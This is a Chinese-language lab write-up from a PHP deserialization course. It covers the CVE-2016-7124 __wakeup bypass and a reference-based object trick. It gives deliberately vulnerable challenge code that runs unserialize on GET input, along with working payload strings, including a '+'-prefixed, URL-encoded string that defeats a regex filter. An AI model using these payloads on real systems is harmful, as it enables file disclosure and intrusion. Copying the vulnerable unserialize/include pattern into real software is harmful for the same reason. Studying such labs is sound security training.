WEB渗透—反序列化(九)

Web渗透---反序列化 课程学习分享(课程非本人制作,仅提供学习分享)


靶场下载地址:GitHub - mcc0624/php_ser_Class: php反序列化靶场课程,基于课程制作的靶场

课程地址:PHP反序列化漏洞学习_哔哩哔_bilibili


十七、wakeup绕过

1.反序列化漏洞:CVE-2016-7124

漏洞产生原因:

如果存在__wakeup()方法,调用unserilize()方法前则先调用__wakeup()方法,但是序列化字符串中表示对象属性个数的值大于真实的属性个数时,会跳过__wakeup()的执行

漏洞产生版本:

PHP5<5.6.25

PHP7<7.0.10

示例:

O:4:"test":2:{s:2:"v1";s:6:"benben";s:2:"v2";s:3:"123";}

O:4:"test":3:{s:2:"v1";s:6:"benben";s:2:"v2";s:3:"123";}

成员属性个数值为3,但后面实际只有v1和v2两个成员属性,此时可以绕过__wakeup()方法,不触发该方法

2.实例代码

php 复制代码
<?php
class secret{
    var $file='index.php';
    public function __construct($file){
        $this->file=$file;
    }
    function __destruct(){                //destruct()在反序列化之后触发
        include_once($this->file);
        echo $flag;
    }
    function __wakeup(){                  //wakup()在反序列化之前触发
        $this->file='index.php';
    }
}
$cmd=$_GET['cmd'];
if (!isset($cmd)){
    highlight_file(__FILE__);
}else{
    if (preg_match('/[oc]:\d+:/i',$cmd)){ //判断O后面的是否为数字
        echo "Are you daydreaming?";
    }else{
        unserialize($cmd);
    }
}
//sercet in flag.php
?>

2.解题步骤

思路:

1)给$file赋值为"flag.php",并创造序列化字符

2)把成员属性数量写成2,绕过__wakeup()魔术方法

3)绕过if判断语句,在数字6前面加一个"+"符号,并进行url加密

构造序列化字符:

编写代码构造序列化字符,并利用漏洞绕过__wakeup()魔术方法

php 复制代码
<?php
class secret{
    var $file='flag.php';
}
echo serialize(new secret());
?>

O:6:"secret":1:{s:4:"file";s:8:"flag.php";}

O:6:"secret":2:{s:4:"file";s:8:"flag.php";}

绕过if判断语句:

通过审计代码发现对传入序列化字符进行了过滤(判断O后是否为字符,需要判断为否才能绕过)

将得到的序列化字符数字前加"+"符号,并进行URL加密

O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}

O%3A%2B6%3A%22secret%22%3A2%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D

3.回显结果

通过cmd参数进行传参,得到flag

ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}


十八、引用的利用方式

1.实例代码

php 复制代码
<?php
include("flag.php");
class just4fun {
    var $enter;
    var $secret;
}
if (isset($_GET['pass'])) {
    $pass = $_GET['pass'];
    $pass=str_replace('*','\*',$pass);                        //当通过pass传入"*"后会被替换为"/*"
}
$o = unserialize($pass);
if ($o) {
    $o->secret = "*";
    if ($o->secret === $o->enter)                            //判断enter全等于secret
        echo "Congratulation! Here is my secret: ".$flag;
    else
        echo "Oh no... You can't fool me";
    }
else echo "are you trolling?";
?>

2.解题步骤

目的:

构造序列化字符串,让enter的值全等于secrt

思路:

通过构造pass的值pass使enter="*";但o为反序列化pass后的对象,且赋值$enter="*";

可以构造序列化字符串,让enter的值引用enter的值

构造序列化字符:

让enter的值引用enter的值

php 复制代码
<?php
class just4fun {
    var $enter;
    var $secret;
}
$a = new just4fun();
$a->enter = &$a->secret; //加&符(&引用),让enter的值永远等于secret的值
echo serialize($a);
?>

O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;} //R代表引用,2代表enter

3.回显示结果

通过pass参数传入题目得到flag

ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}

相关推荐
火云代理2 小时前
同一个网站,有的网络能打开、有的打不开?认识 IPv4 与 IPv6 的访问差异
服务器·网络·网络协议·tcp/ip·测试工具·php·状态模式
笑容掩饰我的失落9 小时前
区块链从小白到精通(七):Solidity 语法精讲——数据类型、函数、修饰器与事件
算法·区块链·php·智能合约·哈希算法
笑容掩饰我的失落1 天前
区块链从小白到精通(八):从零实现一个标准 ERC-20 代币(完整可运行代码)
算法·区块链·php·智能合约·哈希算法
xbzb2 天前
从零容器化部署 ECShop:Harbor 私有仓库 + 自定义 PHP 镜像 + LNMP 三容器
容器·php·harbor·镜像·仓库·ecshop
爱和冰阔落3 天前
【Linux网络】JsonCpp 怎么实现序列化?从 Request/Response 到网络计算器消息设计
linux·运维·网络·php
eggwyw3 天前
PHP8.5怎么用ffmpeg提取视频里的字幕轨道
开发语言·php
我叫黑大帅4 天前
PHP 常驻 Worker 中 MySQL 连接中断问题报告
后端·面试·php
国科安芯4 天前
人在回路中的总线:商业空间站环境控制与生命保障系统CANFD网络的可靠性与功能安全
网络·嵌入式硬件·安全·架构·php·抗辐射
不庸.4 天前
WPScan 实战入门:从 Docker 靶场到弱密码爆破
运维·安全·web安全·docker·容器·安全性测试·wpscan
码途行者4 天前
网站的SQL 注入:从攻击原理到防御措施
开发语言·sql·php